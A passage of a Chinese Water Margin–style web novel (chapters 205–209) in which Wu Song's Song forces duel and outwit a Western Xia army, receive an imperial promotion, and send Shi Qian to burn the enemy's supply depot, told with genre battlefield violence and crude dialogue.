武松麾下战将的信息,仁多洗忠都查了一遍,所以知道卢俊义的名字、外号。
阿惠看着卢俊义,眼里居然流露出贪婪之色:
“长得颇为俊秀,难怪称作玉麒麟。”
静塞军司监军使布雅表情微动。
献王阿惠此人不好女色,却好男色。
见到俊秀的男子,便要霸占。
偏偏西夏糙汉子多,能入眼的不多。
所以,进攻大宋的时候,擒生军若抓到清秀的宋人男子,都要送去给献王阿惠。
如今见了卢俊义,阿惠淫心又起。
“本王若捉了那卢俊义,必要好生待他。”
鲁智深越战越勇,慧光却**得力怯,心中有了退意。
沙场之上,最怕没胆魄。
心里有了退意,手中混铁棍渐渐乱了。
鲁智深瞅了一个破绽,大吼一声:
“着!”
禅杖劈在慧光肩膀,直把肩甲打得粉碎,裂开黑色袈裟,打得肩膀血淋淋。
慧光不敢再战,转身就要跑。
鲁智深岂会让他逃了,策马追上,又是一禅杖劈在后心,慧光坐不稳,坠下马来。
鲁智深赶上,禅杖劈在慧光后脑,直打得红白崩裂,当场**。
“你这鸟秃驴,也敢与洒家厮杀!”
杀了慧光和尚,鲁智深心中畅快,指着西夏敌阵骂道:
“还有谁要与洒家厮杀?”
慧光和尚素有威名,是承天寺的武僧教头。
今日出战,居然被鲁智深阵斩,众人心中胆寒。
仁多洗忠说道:
“献王,武松麾下猛将多,不宜跟他斗将。”
阿惠手下的猛将不多,刚才的兀迷虽然品级不高,却是阿惠手下为数不多的猛将。
兀迷不敌鲁智深,阿惠不敢再斗将。
“如此,那便摆开阵势攻城。”
阿惠正准备攻城,翔庆军监军使重贵策马出阵,手里提着一口厚重**,指向武松:
“我乃翔庆军监军使重贵,你出来与我厮杀!”
竟敢点名要和武松厮杀,阿惠大为惊奇,赞叹道:
“不愧是**重贵!”
其他将领纷纷投去敬佩的目光。
重贵所用兵器是一口**,重二十斤,威力无匹。
加上重贵武艺高强,西夏人便给他起了个外号:
**!
武松被点名挑战,大宋这边也很惊讶。
何运贞看向对面,问道:
“那厮何人,竟敢点名单挑二郎?”
种师道说道:
“此人是翔庆军的监军使,唤作重贵。”
“他原是西夏皇帝李乾顺的侍卫长,武艺高强,善用一口**,所以西夏人给他起了外号:**!”
何运贞问道:
“这重贵有几颗脑袋,敢单挑二郎?”
种师道脸色凝重,说道:
“二郎武艺高强不假,但这重贵也非等闲之辈,切莫轻敌了。”
即便种师道这样说,何运贞还是不以为然。
武松何等厉害,重贵竟敢指点单挑!
张吉双手扶着城墙,等着看好戏。
王进也很好奇,武松对上西夏悍将重贵,到底胜负如何?
白石子一众西夏俘虏全都瞪大了眼睛。
身为铁鹞子,他们对重贵的名字再熟悉不过了。
他们虽然也是铁鹞子,但是和翔庆军的铁鹞子不能比。
翔庆军是拱卫兴庆府、保护皇帝的骑兵,西夏最精锐的军队。
重贵作为最精锐军队的监军使,实力自然强悍。
城下。
武松提着两口刀出阵,卢俊义喊道:
“二郎,他的刀长。”
说罢,卢俊义把自己的铁枪丢给武松。
抬手接了铁枪,武松把两口刀挂在马背上,然后缓缓出阵。
扈三娘回到阵中,李二宝拿了药物过来,扈三娘先下去疗伤。
重贵提着**出阵,细长的眼睛盯着武松:
“杀一场吧!”
“好!”
两人同时策马奔向对方,**横扫,斩向武松。
而武松并不防守,任凭**拦腰横斩,只把手中铁**向重贵咽喉。
见铁枪袭来,重贵吃了一惊,慌忙后仰避开,**擦着武松衣甲掠过。
第一次交手,未分胜负。
王进在城楼上看着,惊叹道:
“二郎好胆魄!”
种师道看得猛拍城墙,摇头道:
“身为主将,居然如此冒险!”
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>种师中也说道:
“若是那重贵不怕死,和武松拼死相斗,此时已经腰斩!”
两人都觉得武松此举太过冒险了,不是主将该做的事情。
扈三娘也惊出一身冷汗,暗道那重贵好厉害。
西夏阵中,献王阿惠伸长了脖子,看着武松和重贵的战斗。
布雅惊叹道:
“重贵将军不愧是兀卒的侍卫长,艺高人胆大!”
武松回马,把铁枪挂起来,还是拿起两口雁翎刀。
这两把刀不如重贵的**长,也没有重贵的**重,但武松觉得还是用双刀趁手。
重贵勒住战马,心中也有些畏惧了。
他原本以为武松身为主将,会怕死防守,没想到武松不带一点怕的。
重贵向来以强悍著称,战场相遇拼生死,所以敌人都怕他。
可是武松不怕,他自己怕了。
察觉到内心的恐惧,重贵非常愤怒。
他是翔庆军监军使,不惧生死!
“再来!”
重贵大怒,拍马提刀再次冲向武松。
这一次,重贵手中**从上往下劈斩,发力迅猛。
武松迎着重贵的**,手中雁翎刀上挑,正面接了一刀。
哐当!
闷响之下,厚重的**被挑开,武松另一口刀反手斩去。
重贵小臂有精甲防护,雁翎刀未能斩断重贵小臂,但巨大的力道之下,重贵右手小臂骨折,手中**握不住,差点掉落。
重贵慌忙换手接住**,两人擦肩而过。
勒住战马,武松转身持刀看向重贵。
只见重贵左手提着**,右手耷拉下来。
“可惜...”
武松回头看向杨志手中的宝刀。
如果用的是杨志的宝刀,不知能否斩下重贵的胳膊。
城楼上,教头王进看出来了,惊讶道:
“二郎斩碎了重贵的小臂!”
种师道定睛看去,果然见重贵右手动不了。
种师中惊喜道:
“好大的力道,他臂甲尚在,却碎了骨头。”
白石子一群人看着重贵被一刀劈到骨折,都觉得很惊讶。
“重贵将军居然....”
“他是厉害,但...武宣抚气力更大。”
城下,鲁智深见了,哈哈笑道:
“这鸟厮断了胳膊!”
扈三娘松了口气,武松赢了。
第205章 趁乱出击,再赢一阵
献王阿惠看着重贵垂下的胳膊,心里开始打鼓。
最厉害的重贵居然两个回合就被断掉了胳膊?
仁多洗忠策马往前,劝道:
“重贵将军,我们西夏的优势在铁鹞子,何必与他斗将?”
布雅附和道:
“舍弃我们铁鹞子的优势,却与他斗将,实在不明智。”
两人一唱一和,给了重贵台阶下。
重贵借坡下驴,说道:
“不错,我们大夏兵马30万,何必与他斗将。”
说罢,重贵退回阵中。
献王阿惠问道:
“重贵将军,你的胳膊...”
重贵脸色很难看,低声道:
“武松那厮好大气力,亏我有精甲防身,不然被他一刀斩断胳膊。”
果然和想的一样,阿惠吃了一惊。
“你断了胳膊,如何是好?”
“无妨,我还有一条胳膊,还能战。”
阿惠脸色不喜,却又不好说,恐挫了将士锐气。
嘉宁军司监军使玉丑、祥佑军司监军使万保两人心中都有些畏惧武松。
不过,武松再厉害,西夏这边也有30万兵马,优势仍然在西夏这边。
武松见重贵退回阵中,不打算再斗,也拨马回到阵中。
这一场斗将,鲁智深阵斩慧光和尚,武松打碎了重贵胳膊,大宋赢了。
城头上,赵楷下令擂鼓庆祝。
白石子三个军使见重贵败退,心中对武松的畏惧又多了几分。
斗将不利,献王阿惠出阵,指着武松骂道:
“你可敢与我列阵厮杀?”
武松哈哈笑道:
“我自有城池防守,何必与你列阵厮杀!”
阿惠骂道:
“缩在城池做乌龟,不敢便罢了。”
“那你退兵回去吧。”
武松不为所动,阿惠怒道:
“你当我不敢攻城!”
“你来便是!”
阿惠下令步跋子准备攻城,云梯、投石车等缓缓推过来。
武松见西夏阵脚动了,转头说道:
“趁他阵列变动,先杀他一阵!”
“正合我意!”
卢俊义也觉得这时候有机可乘。
武松提着双刀,突然杀向敌阵,直冲献王阿惠。
卢俊义带着燕青、杨志、施恩一同出击。
鲁智深大喜,跟在武松身后,徐宁、曹正两人带着本部军马冲杀。
扈三娘刚才被兀迷打了一锤,心中烦闷,见武松冲锋,立即跟着杀出去。
李二宝紧紧跟在扈三娘身后,唯恐扈三娘有失。
出城列阵的兵马不多,马步军不过两万。
但武松和一众将领带头冲锋,所部又多是怀德军、镇戎军,都是打过葫芦河谷战役的,斗志昂扬。
这一冲锋,好似百万雄师,狼群也似扑过去。
种师道看呆了,惊呼道:
“渭州军马竟如此英勇?”
种师中尴尬地笑道:
“不是小弟的能耐,这些军马跟随武松破过静塞军司、杀过察哥,乃得胜之师。”
延安府的骁将杨可世看着大军疯狂冲锋,差点没有反应过来。
在延安府二十多年,从未见过这等阵仗。
郓王赵楷抓起鼓槌,亲自擂鼓助威。
隆隆的鼓声震动,喊杀声震天。
武松一马当先,提着双刀直奔献王阿惠。
身边将领大呼不妙,阿惠转身就跑。
仁多洗忠骂道:
“无耻,居然趁我变阵之时突袭!”
重贵很想和武松厮杀,奈何断了一条胳膊,去了就是送死。
无可奈何,重贵跑回本阵,下令铁鹞子撤退。
前方将领逃跑,西夏大军瞬间溃退。
武松抢入敌阵,手中双刀挥斩,立杀十几人。
扈三娘远远望见兀迷,心中大怒,策马追杀。
兀迷见扈三娘追赶,心中愤怒,突然回马杀向扈三娘。
就算军阵被武松冲破,如果能杀掉扈三娘,也算是解恨。
见兀迷转身杀来,徐宁担心扈三娘,提枪斜刺里杀去:
“贼将受死!”
徐宁大喝,兀迷见徐宁到了近前,先舍了扈三娘,链锤砸向徐宁。
砰地一声响,链锤击中徐宁胸口,金枪却刺进了兀迷的腹部,将兀迷挑落坠马。
扈三娘赶到,一刀斩了兀迷脑袋。
“徐教师如何?”
扈三娘赶过来,徐宁笑道:
“无妨,我有家传雁翎金甲护身。”
原来这徐宁有一传家宝,是一副雁翎砌就圈金甲。
这副甲胄又轻又稳,刀剑箭矢不能透,唤做赛唐猊。
刚才兀迷那一链锤虽然击中了,却未能重伤徐宁。
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>“且去追杀敌兵!”
徐宁、扈三娘继续追杀。
时迁爬上哨塔,望着西夏军队跑了数里,武松才勒马停下。
等回来时,武松提着几颗敌将首级,扈三娘提着兀迷的脑袋,其他众将各有斩获。
张吉在城上见了,对着种师道笑道:
“老经略,我说这是泼天大功,可说错了?”
种师道啧啧赞叹道:
“英雄出少年啊,武宣抚年纪不过20,竟然如此英勇。”
敌将人头挂在城墙上,兵马入城休整。
赵楷接着武松,笑道:
“二郎好身手,又立一功!”
何运贞笑道:
“我家哥哥天下无敌。”
武松拍了拍身上的尘土,说道:
“不可大意,今日那阿惠轻敌,变阵之时居然不防备。”
“把他们的攻城器械全部拆了,拉进城内,为我所用。”
刚才逃跑的时候,步跋子将攻城器械全部丢弃了。
没有这些攻城器械,再想攻城,只能徒手往上爬。
赵楷下令,所有西夏攻城器械拆了,拖进城内。
种师道走过来,行礼道:
“武宣抚英勇,老夫佩服!”
“老相公过誉了,还须老相公指点。”
“不敢、不敢,老夫不如你。”
兵马入城,城外的防御工事全部修复。
白石子三人带着俘虏回到营地,老老实实盖营房。
见过今天的战斗后,他们觉得干脆老老实实跟着武松算了。
察哥不行,看来阿惠也是个送死的。
不说武松回城休整。
且说阿惠败退十几里,大军才缓缓停住阵脚。
布雅埋怨道:
“献王太过急躁了,大军出动,应当先安营扎寨,然后厮杀。”
“今日未有营寨,便先行厮杀,阵脚不稳,被武松钻了空子。”
献王阿惠一肚子火,骂道:
“干我甚事,你等斗将败了,挫动锐气,军心不稳,方才败了!”
布雅无言以对,其他众将也无话可说。
全军选了一处地方,安下营寨、派出斥候,然后清点各部,发现都有折损。
特别是阿惠的卓罗和南军司,**好几个大将,兀迷也在乱军中被斩首。
阿惠心中烦闷,想着明日再去厮杀复仇!
第206章 明日决战,兵不厌诈
晚上,中军大帐内。
阿惠坐在里面,脸色郁闷。
“今日首战不利,诸位将军有何良策?”
阿惠扫了一眼胳膊夹着板子的重贵,先前的尊敬没有了,多了一丝嘲讽。
甚么西夏第一勇士,徒有虚名,遇到武松后,狗屁不是。
重贵察觉到阿惠的目光,心中感觉非常耻辱。
嘉宁军司监军使玉丑说道:
“我大夏优势在于铁鹞子,攻城非我所长。”
“明日去下战书,约那武松出城决战。”
任多洗忠哂笑,说道:
“那武松不止武艺了得,他还是宋国的状元,当世大儒。”
“你这等伎俩,莫非以为他会中计?”
玉丑嘲讽道:
“我看你被武松打怕了,心怀畏惧。”
任多洗忠被揭开伤疤,怒道:
“不是孬种,你去试试!”
布雅冷笑道:
“你何必动怒,我等是败军之将,不可言勇。”
“玉丑将军如此说,那便让他去试试。”
任多洗忠不说话,玉丑说道:
“请献王给武松下战书,约定明日于阵前决战。”
“我大夏出动铁鹞子,与他厮杀。”
献王阿惠觉得玉丑这话不合情理,武松又不傻,怎么可能答应出城厮杀。
不过,除此以外,他也想不出其他法子。
“那便给武松下战书,明日厮杀!”
文书当即写了一封战书,派人送往西安州。
信使策马到了城外,说了来意,城门打开,放信使到了议事厅。
正好,武松正在和众将议事。
信使进了议事厅,把战书丢给武松,骂道:
“我王说了,不是孬种的,明日便出来与我军厮杀!”
“就在城外五里处,你我各出五万兵马,决个胜负。”
听完信使所言,张吉骂道:
“放屁,你以为我等是蠢货,放着城池不守,却出去与你厮杀!”
信使骂道:
“那你便是孬种!”
张吉大怒,骂道:
“来人,把这厮拖出去砍了!”
欧阳雄劝道:
“两国交兵、不斩来使,张总管息怒。”
张吉这才坐下来,心中犹自愤怒。
武松看了战书,笑道:
“你说各出五万兵马,谁知你是否有伏兵。”
“且告诉他,若要决战,便到城外来。”
“我不打别的,只要你们的翔庆军,我亲自领兵,与你们决战!”
得了武松的恢复,信使立即出了西安州回禀。
种师道皱眉道:
“武宣抚,翔庆军乃是西夏精锐,出城与他们厮杀,实属不智。”
种师中赞同道:
“放着现有的城池不守,出城与他厮杀,并非明智之举。”
兄弟两个都不赞同,主张就地守城。
延安府来的诸位战将也主张守城,不该出去和西夏硬拼。
武松看向徐宁,问道:
“徐教师,你的钩镰枪班教授如何?”
徐宁脸色很凝重,说道:
“钩镰枪班操练时间不长,且只有两万不到。”
“翔庆军有七万,我人数不足...”
武松听完,沉默不语。
见武松不说话,议事厅内的气氛变得非常压抑。
赵楷不敢出声,何运贞也从未见武松这等模样。
难道真没办法了?
“那就不去了。”
武松突然抬头哈哈笑道。
赵楷问道:
“方才答应了他们明日决战,如何又不去?”
“不错,我答应了,我反悔了。”
武松说得很随意,种师道皱眉,说道:
“既然说好了决战,如何又不去?”
“老相公,兵法云:兵不厌诈!”
“呃...”
好像也没错。
“既然钩镰枪班尚未训练完毕,明日便不去了。”
“只在城内守着,不用理会他们。”
赵楷感觉怪怪的,但又不好说什么。
毕竟敌强我弱,贸然出城决战,必输无疑。
“散了吧,回去休息。”
武松发话,众人散去。
赵楷、何运贞两人没走,问道:
“二郎,你是不是黔驴技穷了?”
“我像驴一样勇猛,但我没有技穷。”
“那你...”
“我本就是诓他们,放着城池不要,出去与他决战,岂非愚蠢?”
“原来如此。”
赵楷也觉得武松不该如此莽撞。
西夏是进攻的一方,大宋是防守的一方。
现成的城池不要,跑出去和西夏决战,而且对面是铁鹞子,这不是找死?
“天气越发燥热,他们三十万大军驻扎,粮草水源都是问题。”
“耗着他们,等他们耗不起的时候,要么
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攻城,要么撤退。”
武松一开始就没打算和西夏出城对决。
西夏国力弱,消耗不起,武松就要跟他们玩消耗。
“何叔那边,你说一下,我们的粮草辎重不要出问题。”
何运贞点头道:“我晓得。”
说完,各自回去休息。
西夏信使急匆匆跑回营寨,说武松约定明日出城五里厮杀,各自统兵五万。
阿惠听了大喜,笑道:
“这武松居然应了,明日定要斩了武松!”
“重贵将军,明日便由你的铁甲连环马出战!”
重贵听了,觉得不可思议。
“武松当真答应了?”
信使回道:
“是,武松答应了。”
仁多洗忠、布雅都感觉不对劲,武松此举太愚蠢。
布雅说道:
“这武松会不会有诈?”
仁多洗忠也说道:
“末将以为这武松必定有诈,明日只怕出兵不止五万,或许有埋伏。”
阿惠哈哈笑道:
“埋伏?本王也要埋伏他。”
“明日重贵领兵出战,我等在阵后准备,只待两边交战,我便全军出击。”
“所谓兵不厌诈,本王定要杀他个片甲不归。”
玉丑赞同阿惠的计策,万保自然也赞同。
战场之上,只要能打胜仗,手段并不重要。
当即,西夏大军开始传令,准备明日决战。
待到天色微明,重贵带领五万铁鹞子开赴西安州外五里处,摆下阵形,等着武松过来。
而阿惠则在军营里,全军备战,随时突袭武松。
此时已经夏天,日头毒辣气温高。
日头渐渐升高,重贵身披铠甲,晒得浑身燥热。
身后副将李义骂道:
“武松这厮为何还不来?莫不是怕了!”
重贵用左手抓起水囊,狠狠灌了一口,说道:
“等着,此战我必杀武松!”
五万铁鹞子等到中午,日头到了顶上,晒得人马疲惫,却还不见武松来。
重贵心中暗道:
武松这厮想待我疲敝之时偷袭!
计策是不错,但我所部都是马军,他宋国步军突袭岂能有效果!
献王还有大军在后头等着,只要他出来,不怕他不死!
又等了半个时辰,只见南边跑来一匹马。
副将李义伸长脖子,想看看后面有没有大军赶来。
第207章 被耍猴了,圣旨送达
却发现只有一匹马、一个人,再无其他。
大宋骑兵到了近前,对着重贵说道:
“武宣抚今日闹肚子,身体不适,明日再战!”
听到这话,重贵大怒,骂道:
“我等他一日,他却说闹肚子,耍我么!”
“将军息怒,武宣抚昨夜吃了冷酒,今早便在茅厕没出来,明日必来迎战。”
说罢,不等重贵再骂,信使匆匆骑马走了。
重贵憋了一肚子火,骂道:
“岂有此理,这厮耍我!”
副将李义劝道:
“或许真是闹肚子了,明日再来便是。”
重贵看向南边,下令徐徐撤退,阵形不得混乱,防止武松趁乱偷袭。
大军回到营寨,献王阿惠问怎么回事?
重贵说武松闹肚子,没来!
阿惠气得破口大骂:
“那厮作耍!战场之上,如此无信义!”
“谁敢出使,与本王骂他!”
一个不怕死的信使走出来,拜道:
“小的愿往!”
“好,待你归来,重重有赏!”
信使要了一匹马,很快抵达西安州。
城门打开,信使入城,见到了武松。
“你这缩头乌龟,约定今日决战,为何不出?”
武松捂着肚子,声音虚弱道:
“放屁,老子闹肚子,所以才不去,如何是缩头乌龟。”
“告诉阿惠那厮,明日决战,我定斩他狗头。”
信使骂道:
“若是不来时,你便是缩头乌龟、没根的孬种!”
武松大怒,骂道:
“岂有此理,把这厮耳朵割了下酒!”
扈三娘、李二宝上前,将信使一把按住。
信使大叫道:
“两国交兵,不斩来使!”
“你这厮辱我太甚,岂能放过你!”
李二宝按住信使,扈三娘抽刀割了信使一只耳朵,骂道:
“滚!”
信使捂着血淋淋的脸,匆匆跑回营寨。
阿惠听了,说道:
“那武松怒了,明日必定是来的。”
“你翔庆军且准备去,明日再战!”
拿了金银赏赐信使,阿惠准备明日偷袭。
到了第二天。
重贵依旧带着五万铁鹞子赶到城外五里列阵,阿惠在营寨等消息。
只要武松出来,就发兵突袭,杀了武松。
眼看着日头渐渐升高,重贵等得焦躁,回头点了一个士兵往西安州打探情况。
过了会儿,探子回报,说武松昨夜酒喝多了,起来晚了,明日再战。
重贵怒骂道:
“这厮耍我,撤!”
五万铁鹞子撤回营寨,阿惠问怎么回事,重贵破口大骂。
得知武松根本不想决战,阿惠跟着大骂武松不讲信用。
布雅说道:
“王爷,那武松明显不想出城作战,先前所言都是假的。”
阿惠怒道:
“本王看不出来么,须你来告诉本王!”
布雅闭嘴不语。
重贵郁闷地坐下来,喝了几大碗水。
“出征前,兀卒曾给我旨意,必须杀武松复仇。”
“武松不肯出城,我等只有强攻西安州了。”
阿惠也接到了李乾顺的圣旨,命他务必杀武松,为察哥复仇。
当然,也是为了挽回西夏的脸面。
王爷**、王妃被俘、军司被破,这是奇耻大辱!
但阿惠不傻,强攻西安州伤亡肯定很大。
最麻烦的是,步跋子的攻城器械丢了。
祥佑军司监军使万保说道:
“王爷,取巧的法子没有,那就强攻吧。”
“就地建造攻城器械,我大夏三十万兵马,攻破一小小城池,不过费些时日罢了。”
阿惠无计可施,只能同意这个法子。
军队收拢进入营寨,阿惠下令重新打造攻城器具。
西安州。
戴宗回到城内,将西夏的情报说了。
卢俊义说道:
“那阿惠被二郎耍了两次,学乖了。”
“他们打造攻城器械,看样子是要强攻了。”
武松笑道:
“我杀了察哥、捉了王妃,李乾顺定要杀我雪耻。”
“我不出去,他们便要攻城。”
“如此也好,我们凭坚据守,消耗他们的兵力。”
阿惠想引诱武松出城作战。
武松也想引诱阿惠攻城。
到了城外空地,西夏的骑兵占优势。
但是攻城,武松占据绝对优势。
武松不着急,可以耗着,阿惠不行,他们三十万大军,人吃马嚼,西夏耗不起。
还有李乾顺急着复仇,也不可能让阿惠一直拖延。
所以,到了最后,阿惠肯定还是要攻城的。
郓王赵楷听了这消息,心里倒是安稳了。
事情正在按照武松的预料走,没有出现意外。
“他们的粮草辎重应当在西寿保泰军司,劳烦你和时迁走一趟?”
“好,白日里容易被察觉,晚上我和时迁出发。”
戴宗下去和时迁准备,武松则到了俘虏营。
经过上次斗将,白石子一帮人对武松服服帖帖。
营房已经建造完毕,他们三百人就在其中居住。
这些时候,武松待的时间最长的地方,就是这里。
白石子正在练刀,李成龙在教手下枪法,刘二也在练枪。
这些铁鹞子都是西夏的精锐,但武艺只能说一般般。
他们现在修炼的刀法、枪法都是武松传授的。
“主人!”
武松到
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场,所有人停下行礼。
“继续操练。”
武松在石桌旁坐下,扈三娘站在身边,看白石子一帮人继续操练。
白石子用的是单刀,和武松的滚龙刀法有所不同。
看他耍完一套,武松起身接过刀,说道:
“单刀看的是手法,特别是马上用刀,更看手法。”
“你方才运刀之时,手腕发力不够。”
说罢,武松提刀演示,白石子和一众人仔细看着。
只见那单刀在武松手里发出破风声,仿佛有裂山开石的威力。
一套刀法下来,武松收刀,说道:
“刀法要熟,手上的力气也不能少。”
“平日里多练练筋骨,把气力练上来。”
白石子苦笑道:
“主人手上千万斤气力,我等只有个百十斤,如何能比。”
其他士兵跟着苦笑,武松说道:
“气力都是练出来的,我不要你们上战场厮杀,只要你们好好练。”
“属下领命。”
李二宝从外面跑进来,喊道:
“主人,朝廷来人了。”
武松带着扈三娘离开,三个军使继续操练刀枪。
武松走进议事厅,一个太监坐在里面,身边跟着几个禁军。
郓王赵楷、张吉和卢俊义、鲁智深、种师道一众人都在。
武松进门,太监连忙起身行礼:
“见过武待制。”
武松愣了一下,回礼道:
“公公辛苦了,请坐。”
“谢武待制。”
太监坐下来,赵楷让武松在自己旁边坐下。
“捷报到了京师,那察哥、王妃也到了,圣上很高兴。”
“特赐郓王府邸一座,擢升武松为龙图阁待制、正四品。”
武松明白了,刚才称呼他为“武待制”,原来是升职了。
赵楷、武松同时起身领旨谢恩。
卢俊义惊奇地看着武松,心中羡慕不已。
种师道、种师中两个更是眼馋。
他们种家世代为将,在朝廷也算是重臣了。
可是大宋重文轻武,文官才是最清贵的。
而文官的贴职里,又属龙图阁最为顶级。
武松年纪轻轻,就成了龙图阁待制、正四品,这前途除了羡慕还是羡慕。
种师中忍不住感慨道:
“武待制前途无量啊...”
在场所有人都这样认为。
扈三娘跟着武松有些时日,知道这个龙图阁待制是个清贵的贴职,十分难得,心中也很高兴。
“都是各位将士用力的结果,晚辈惭愧。”
“公公远道而来,我等为公公接风洗尘。”
人情世故是要的,这太监代表徽宗宣旨,必须客气招待。
众人起身,陪着太监入席吃酒。
第208章 俘虏归心,时迁潜入
宴会上。
太监又转达了徽宗对其他将士的关切,说了些好话。
酒足饭饱,太监被灌醉,抬进房间休息。
众人散席,一个禁军找到武松,拿了一个红木匣子交给武松。
“小的受茂德帝姬托付,将这封信交给武待制。”
武松接了,打开匣子,里面一封信。
“进来坐。”
禁军跟着武松进了房间坐下。
武松打开信封,里面是赵福金的亲笔信。
除了说平日里的事情,赵福金说蔡京、童贯和高俅每日都在进谗言,她抓到了好几回。
又问武松何时回京,她很思念。
信看完,武松小心放好。
拿了笔墨,武松马上写回信:
心爱的福金:
来信已收到,见字之时,思念无限。
离别已有71天,无日不思、无夜不念,相思之苦,何可胜言。
西夏兴兵三十万,已到西安州城下,战事危急。
但无需忧心,我自可破敌。
夏日炎热,京师暑热犹甚,切莫多动,多饮莲子羹,保重身体。
千言万语,无以言表,只待凯旋,当面再叙。
爱你的武松。
写完,武松把信封好,放入红木匣子。
“路上辛苦,你拿着路上吃茶。”
武松拿了两锭金子,塞给禁军。
禁军慌忙道:
“小的岂敢收武待制的金银。”
“不收便是客气了,拿着。”
禁军这才收了,拜道:
“谢武待制赏赐。”
禁军小心收好匣子,退出房间。
武松坐在房间里,心中暗道:
蔡京那几条老狗果然说坏话,好在赵福金替自己说好话。
龙图阁待制能赐封下来,说明赵福金说话更管用。
果然,搞定赵福金就能搞定徽宗。
到了第二天,太监就带着禁军离开了。
西安州还在交战,太监胆子小,怕有危险。
武松一行人送出城外,给了些金银作为路费,太监欢喜去了。
“恭喜二郎,现在要称为武待制了。”
赵楷调侃,武松骂道:
“待制算个屁,等你当了皇帝,给老子弄个王爷当当。”
赵楷嘿嘿笑而不语。
回到城内,刚好戴宗、时迁回来了。
他们昨夜悄悄出城,潜入西寿保泰军司打探辎重所在。
情况和武松预料的有点不一样,西夏的辎重粮草不在西寿保泰军司。
赵楷好奇道:
“那就怪了,三十万大军出动,必有粮草辎重随后。”
“西夏兵马在西寿保泰军司集结,辎重必定屯在附近才是。”
武松没说话,让戴宗、时迁去休息。
自己带着扈三娘到了营地,白石子一帮人还在操练。
见武松进门,所有人停下来。
“西寿保泰军司的粮草辎重,存放在甚么地方?”
刘二走过来,说道:
“俺是西寿保泰军司的,粮草平日里就在寨内。”
“不过,军寨西北面有座山谷,也可以囤积粮草。”
武松问道:
“距离军寨多少路程?”
“约莫十里,那里有粮仓。”
几乎可以肯定,粮草肯定就在山谷里了。
三十万大军出动,辎重不可能距离太远,因为粮草的运输很费车马。
“三娘,给他们每人发十两银子。”
“好。”
武松对着在场三百人说道:
“以后,每月十两银子,是你们养马的钱。”
“每个人两匹马,粮饷另有补给。”
粮饷照样发,每月还有十两银子,这等于就是福利。
在西夏的时候,饭很难吃饱。
至于饷银,名义上是有的,实际上几乎没给过。
大宋军队有拖欠军饷的问题,西夏更严重。
听到武松的话,大家都愣住了。
武松没有理会,直接离开营地。
扈三娘点了十几个人,跟着到仓库拿银子。
这些银子,都是武松自己带来的。
银子发下去,每个人一定十两纹银,看得他们两眼发光。
很多人第一次见到银锭,拿在手里翻来覆去把玩。
“俺滴娘,这便是银锭啊,有了这银锭,俺可以买地娶媳妇了。”
扈三娘没有搭理他们,转身去追武松。
在她眼里,武松才是最重要的。
李成龙摸着手里的银锭,骂道:
“**,甚么兀卒、甚么王爷,都不如武将军好使。”
“这是银锭啊,老子在静塞军司十年,只见过没摸过!”
刘二把银锭放在衣服里,啐道:
“自今日起,老子就跟着主人干了!
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”
白石子掂了掂手里的银锭,嘿嘿笑道:
“你们说,每月十两银子,一年便是百两...老子当指挥使每月不过两百个铜钱!”
他们三个当过军官,也没几个钱。
底下的士兵更穷,十两银子到手,谁还管什么西夏、大宋,只要跟着武松就行。
“跟着主人,有银子!”
“对,老子跟着主人干!”
营地里的士兵跟过年一样。
士兵都把银子贴身藏了,不敢放在屋子里,怕被人偷了。
武松没有马上找戴宗、时迁,他们两个跑了一晚上,需要休息。
等到晚上,两人醒了,武松切了一大盘肉,备了一壶酒。
“西寿保泰军司西北方十里处,有一山谷。”
“若我所料不错,西夏辎重粮草,都在那里。”
戴宗大口吃着肉,点头道:
“我与时迁贤弟再去一趟。”
“路上务必小心,辎重所在,必有重兵防守。”
“我等省得。”
饱餐酒肉,戴宗、时迁骑了两匹马,借着夜色出城。
离开西安州,戴宗、时迁往东先走十几里,然后再往北进发。
这样是为了避开西夏的斥候,免得被发现。
往北走了几十里,确定避开西夏大军斥候,两人趁着月色,快速往西南方向进发。
骑在马上,时迁说道:
“哥哥何时将神行术教我,小弟也可与哥哥一般来去如风,何必骑这马儿。”
“不是我不教你,这神行术需借神力,我没有这本事。”
“哥哥神力从何而来?”
“是那道人与我的,符咒也只是催发神力罢了。”
戴宗如此说,时迁也没办法了,只能乖乖骑马。
翻过杀牛岭,两人很快进入西寿保泰军司地盘。
上次已经来过,两人轻车熟路,继续往西北方前行。
等到黎明时分,两人来到一座山谷前面。
停下马,两人喝了口水,又给马喂了水。
戴宗留在原地,时迁悄悄摸到山谷边缘。
只见山谷内囤积着粮草,还有军械兵器。
时迁心中暗喜:
二郎所料没错,西夏辎重果然都在此处。
待我进去烧个干净,再立一个大功。
选了个无人之处,时迁纵身一跃,落进山谷内。
第209章 时迁放火,戴宗神行
此时刚刚天亮,把守山谷的士兵打着哈欠,样子懒散。
时迁穿的是软鞋,落在地上没有一丝声响。
摸到堆放粮草的仓库前,一队揉着眼睛骂娘的巡逻兵过来,时迁从袖子里摸出钩锁,往上一抛,勾住仓库边缘,身体轻盈爬上屋顶。
“俺指望着到宋国抓几个婆娘,不成想让老子守仓库。”
“莫以为阵前好,晋王都**了,听说王妃被捉到宋国京师,被几十个汉子弄**。”
巡逻兵过去,时迁蹲在仓库顶上,静静观察。
山谷很大,粮食和草料堆在中间,外围仓库应该是军械。
厨房正在做饭,炊烟袅袅升起。
时迁顺着屋脊摸到中间的仓库,一只手挂在屋檐上,偷偷看向仓库里面。
里面的士兵出去屙尿,还有的往厨房走。
见里面无人,时迁使出缩骨功,从窗户钻进仓库。
扒在房梁上看了会儿,时迁用钩锁挂住,身体滑落在地上。
这座仓库存放的草料,非常干燥。
摸出火折子,时迁把草料点了。
火苗瞬间腾起,时迁抓住钩锁,回到房梁上,钻出窗户。
外面屙尿的士兵见了,大叫道:
“着火了...”
士兵冲进来灭火,时迁已经钻进另一座仓库,同样把草料点了。
草料最容易点燃,所以时迁先烧草料。
等存放草料的仓库烧起来了,时迁又钻进存放粮食的仓库,同样都点燃了。
一时间,山谷浓烟弥漫,镇守的官兵慌忙救火。
可山谷内的水不多,火势又旺,只能干看着。
镇守山谷的都指挥使看着大火嚎啕大哭:
“我命休矣...”
几十万大军的粮草辎重烧了,他这条命大概率是保不住了。
“怎会失火?怎会失火!”
都指挥使恼羞成怒,拔刀斩了几个士兵泄愤。
“都是你们这等砸碎,害我性命!”
见都指挥使发疯了,原本还在救火的士兵一哄而散。
反正这个都指挥使完了,没有人想被他泄愤杀了。
时迁避开人群,偷偷溜进厨房,在灶台上抓了几个馒头,又找到了两斤羊肉,还顺了一壶酒,一袋豆子。
胡乱用布包了,背在身上,时迁溜到山谷边缘,钩锁依旧挂住,身体轻盈爬上山顶。
